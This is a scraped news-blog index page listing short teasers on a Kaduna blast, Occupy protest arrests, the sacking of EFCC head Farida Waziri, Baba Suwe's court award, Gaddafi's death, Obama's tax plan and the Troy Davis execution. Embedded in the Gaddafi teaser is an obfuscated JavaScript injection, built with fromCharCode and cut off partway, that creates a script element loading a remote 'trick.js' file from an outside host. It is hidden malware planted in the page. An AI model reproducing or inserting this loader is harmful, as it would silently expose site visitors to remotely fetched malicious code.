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BREAKING NEWS: Kaduna City Rocked by Massive Blast
15Mar By Felix ShammahNo Comments
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BREAKING NEWS: Kaduna City Rocked by Massive Blast

Emergency officials in the Nigerian city of Kaduna reported early on Wednesday that at least 8 people died and many were injured in a huge blast that sent everyone scampering for safety. Kaduna has recently witnessed similar outbreaks of violence in recent times, the last being the deadly riots following the April elections. (more…)
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300 Arrested in Nationwide Occupy Protests
15Mar By Felix ShammahNo Comments
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300 Arrested in Nationwide Occupy Protests

Occupy Wall Street protesters clogged streets and tied up traffic around the U.S. on Thursday to mark two months since the movement's birth and signal they aren't ready to quit, despite the breakup of many of their encampments (more…)
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BREAKING NEWS: Farida Waziri, EFCC boss Fired!
15Mar By Felix ShammahNo Comments
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BREAKING NEWS: Farida Waziri, EFCC boss Fired!

The head of Economic and Financial Crime Commission in Nigeria, Mrs Farida Waziri has been sacked. Waziri’s removal was contained in a statement signed by the spokesperson to the President of the federal Republic of Nigeria, Dr. Reuben Abati. (more…)
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BREAKING NEWS: Courts Orders NDLEA to Pay Baba Suwe N25m for Wrongful Detention
15Mar By Felix ShammahNo Comments
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BREAKING NEWS: Courts Orders NDLEA to Pay Baba Suwe N25m for Wrongful Detention

Ace comedian and Nollywood actor, Babatunde Omidina, popularly known as Baba Suwe, was earlier on Thursday awarded the sum of 25 million naira by a Lagos High Court for wrongful detention by the National Drug Law Enforcement Agency of Nigeria. The anti-drug agency had detained the Nollywood actor on October 12 and he remained in the agency’s custody for the next 3 weeks without convincing proof of the allegation that he had ingested narcotic drugs in an attempt to smuggle same out of the country. Justice Yetunde Idowu of the Lagos High Court gave the ruling today in response to a fundamental rights suit filed by Mr. Omidina's lawyer, Mr. Bamidele Aturu. Mr. Omidina had been on his way to France for a friend's child dedication. Justice Idowu had previously ordered the actor rel...
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BREAKING NEWS: Muammar Ghaddafi is Dead
15Mar By Felix ShammahNo Comments
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BREAKING NEWS: Muammar Ghaddafi is Dead

Sharpedgenews.com is reporting authoritatively that former Libya strongman, Col. Muammar Ghaddafi has been captured and killed by forces loyal to the Transitional National Council after being shot in both legs.var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,...
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Obama to Seek New Task Rate
15Mar By Felix ShammahNo Comments
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Obama to Seek New Task Rate

WASHINGTON (AP) — President Barack Obama is expected to seek a new base tax rate for the wealthy to ensure that millionaires pay at least at the same percentage as middle income taxpayers. (more…)
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Supreme Court Will Not Stop Davis Execution
15Mar By Felix ShammahNo Comments
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Supreme Court Will Not Stop Davis Execution

JACKSON, Ga. — The United States Supreme Court rejected a last-ditch request to step in late Wednesday to stay the Georgia execution of Troy Davis, who was convicted of gunning down a Savannah police officer 22 years ago, after Mr. Davis filed an eleventh-hour plea Wednesday with the high court. (more…)
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